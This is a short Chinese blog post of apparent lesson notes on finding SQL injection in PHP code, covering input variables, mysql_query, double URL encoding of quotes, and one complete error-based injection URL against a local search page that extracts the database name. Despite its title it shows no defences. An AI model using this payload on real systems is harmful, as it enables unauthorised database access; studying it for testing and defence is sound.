• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
返回主页

iwinbug

  • 博客园
  • 首页
  • 新随笔
  • 联系
  • 订阅
  • 管理

第四课 sql注入及防护实践

挖掘sql注入漏洞

常见获取变量

$_GET  $_POST $_COOKIE $_SERVER $_REQUEST

数据库操作函数

搜索

mysql_query()

‘url编码是%27

%url编码是%25

%2527

注入测试

http://127.0.0.1/blog/search.php?s=%2527%20and(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,unhex(Hex(cast(database()%20as%20char))),0x27,0x7e))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20%23

 

课后了解

http://www.w3school.com.cn/php/index.asp

posted @ 2019-06-17 21:57  iwinbug  阅读(180)  评论(0)    收藏  举报
刷新页面返回顶部

公告

博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3